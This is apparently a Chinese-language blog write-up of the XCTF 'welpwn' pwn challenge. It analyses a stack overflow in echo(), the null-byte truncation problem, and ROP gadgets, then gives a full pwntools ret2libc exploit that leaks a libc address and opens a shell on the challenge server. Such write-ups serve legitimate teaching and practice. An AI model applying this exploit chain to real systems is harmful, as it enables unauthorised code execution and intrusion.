# welpwn(xctf)

原创

whiteh4nd 于 2020-06-15 13:56:57 发布 115 收藏

分类专栏： # xctf(pwn高手区) CTF



本文链接：https://blog.csdn.net/weixin_43868725/article/details/106761106



xctf(pwn高手区) 同时被 2 个专栏收录

27 篇文章 0 订阅

订阅专栏

CTF

41 篇文章 0 订阅

订阅专栏

## 0x0 程序保护和流程

保护：

```
[*] '/home/whitehand/Desktop/a'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

流程：

main()

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-400h]

  write(1, "Welcome to RCTF\n", 0x10uLL);
  fflush(_bss_start);
  read(0, &buf, 0x400uLL);
  echo((__int64)&buf);
  return 0;
}
```



echo()

```
int __fastcall echo(__int64 a1)
{
  char s2[16]; // [rsp+10h] [rbp-10h]

  for ( i = 0; *(_BYTE *)(i + a1); ++i )
    s2[i] = *(_BYTE *)(i + a1);
  s2[i] = 0;
  if ( !strcmp("ROIS", s2) )
  {
    printf("RCTF{Welcome}", s2);
    puts(" is not flag");
  }
  return printf("%s", s2);
}
```

echo函数中存在明显的栈溢出漏洞。

## 0x1 利用过程

使用x64的通用gadget，泄露write函数的地址。使用LibcSearcher查出相应的libc，得到system函数和/bin/sh字符串的地址就可以getshell了。但是理想是丰满的现实是骨感的，exp写完后一直报错。用GDB查看一下core。发现确实覆盖了返回地址但是后面紧接着是输入缓冲区中的数据。回过去看echo函数，发现在写入s2的时候/x00会被截断，这种截断在写入地址的时候无法避免，但是巧合地是输入缓冲区就紧接着echo返回地址。

```
0x7fff0048ea90: 0x6161616161616161      0x6161616161616161
0x7fff0048eaa0: 0x6161616161616161      0x000000000040089a
0x7fff0048eab0: 0x6161616161616161      0x6161616161616161
0x7fff0048eac0: 0x6161616161616161      0x000000000040089a
0x7fff0048ead0: 0x0000000000000000      0x0000000000000001
0x7fff0048eae0: 0x0000000000601020      0x0000000000000008
0x7fff0048eaf0: 0x0000000000601020      0x0000000000000001
0x7fff0048eb00: 0x0000000000400880      0x6161616161616161
0x7fff0048eb10: 0x6161616161616161      0x6161616161616161
0x7fff0048eb20: 0x6161616161616161      0x6161616161616161
0x7fff0048eb30: 0x6161616161616161      0x6161616161616161
0x7fff0048eb40: 0x0000000000400630      0x6161616161616161
```



如图，0x7fff0048ea90~0x7fff0048eaa0是echo的栈空间，0x7fff0048eab0~0x7fff0048eb48是输入缓冲区。所以如果想要执行gadget只需要连续pop4次的就能使栈顶指向gadget。

```
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400675 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400589 : ret
0x00000000004006a5 : ret 0xc148
0x000000000040081a : ret 0xfffd
```



## 0x2 exp

```python
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
elf=ELF('./a')
write_plt=elf.plt['write']
write_got=elf.got['write']
start_addr=0x400630
gadget1=0x40089A
gadget2=0x400880
pop_rdi_ret=0x4008a3
pop4_addr=0x40089C

sh=remote('220.249.52.133','42405')
# sh=process('./a')
payload='a'*24+p64(pop4_addr)+p64(gadget1)+p64(0)+p64(1)+p64(write_got)
payload+=p64(8)+p64(write_got)+p64(1)+p64(gadget2)+'a'*56+p64(start_addr)
sh.sendlineafter('Welcome to RCTF\n',payload)
write_addr=u64(sh.recv(8))
libc=LibcSearcher("write",write_addr)
offset=write_addr-libc.dump("write")
system_addr=libc.dump("system")+offset
bin_sh_addr=libc.dump("str_bin_sh")+offset
payload='a'*24+p64(pop4_addr)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr)+p64(0)
sh.sendlineafter('Welcome to RCTF\n',payload)
sh.interactive()
```